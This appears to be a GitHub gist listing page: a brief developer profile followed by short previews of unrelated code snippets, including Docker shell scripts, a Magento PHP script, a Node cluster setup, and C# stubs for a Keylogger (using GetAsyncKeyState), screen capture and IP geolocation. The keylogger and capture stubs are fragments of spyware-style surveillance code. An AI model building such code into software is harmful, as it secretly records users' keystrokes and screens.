link to notes https://git.io/vgpKc
- front-end web engineer
- funemployed, but joining Viki.com in a week
- recently spent 3 months in NYC at the Recurse Center
- retreat for programmers
- where people go to be better at what they do
| public class Keylogger | |
| { | |
| [DllImport("User32.dll")] | |
| private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration | |
| [DllImport("User32.dll")] | |
| private static extern short GetAsyncKeyState(System.Int32 vKey); | |
| private System.String keyBuffer; | |
| private System.Timers.Timer timerKeyMine; |
| public class ScreenCapture | |
| { | |
| public Image CaptureScreen() | |
| { | |
| return CaptureWindow(User32.GetDesktopWindow()); | |
| } | |
| public Image CaptureWindow(IntPtr handle) | |
| { | |
| var screens = Screen.AllScreens; |
| class GeoLocation | |
| { | |
| #region Properties | |
| string latitude; | |
| string lognitude; | |
| string city; | |
| string country; | |
| string host; | |
| string ip; | |
| string code; |
link to notes https://git.io/vgpKc
| #!/bin/bash | |
| veth_in_use=() | |
| veth_unused=() | |
| veth_all=() | |
| function veth_interface_for_container() { | |
| local pid=$(docker inspect -f '{{.State.Pid}}' "${1}") | |
| mkdir -p /var/run/netns | |
| ln -sf /proc/$pid/ns/net "/var/run/netns/${1}" |
| <?php | |
| //creating categories in magento 2 | |
| //last verified Magento 2.2.0 27 Oct 2017 | |
| use \Magento\Framework\App\Bootstrap; | |
| echo 'code by harshvardhanmalpani'; | |
| include('./app/bootstrap.php'); | |
| $bootstrap = Bootstrap::create(BP, $_SERVER); | |
| $objectManager = $bootstrap->getObjectManager(); | |
| function createCategory($a='',$b=2,$c=true,$d='',$e='',$f='',$g='') { | |
| global $objectManager; |
| { | |
| "log-driver": "json-file", | |
| "log-opts": { | |
| "max-size": "10m", | |
| "max-file": "3", | |
| "labels": "production_status", | |
| "env": "os,customer" | |
| } | |
| } |
| const server = require('./server.js') | |
| const numCPUs = require('os').cpus().length | |
| const cluster = require('cluster') | |
| function makeCluster() { | |
| return new Promise((resolve, reject) => { | |
| if (cluster.isMaster) { | |
| for (let i = 0; i < numCPUs; i++) { | |
| cluster.fork() | |
| } |
| #!/bin/bash | |
| DIR=/var/lib/docker/containers | |
| FILES=$(ls $DIR) | |
| for f in $FILES | |
| do | |
| echo "Processing $f dir..." | |
| # take action on each file. $f store current file name | |
| ls -lash $DIR/$f | grep .log | |
| LOGS=$(ls $DIR/$f/ | grep .log) |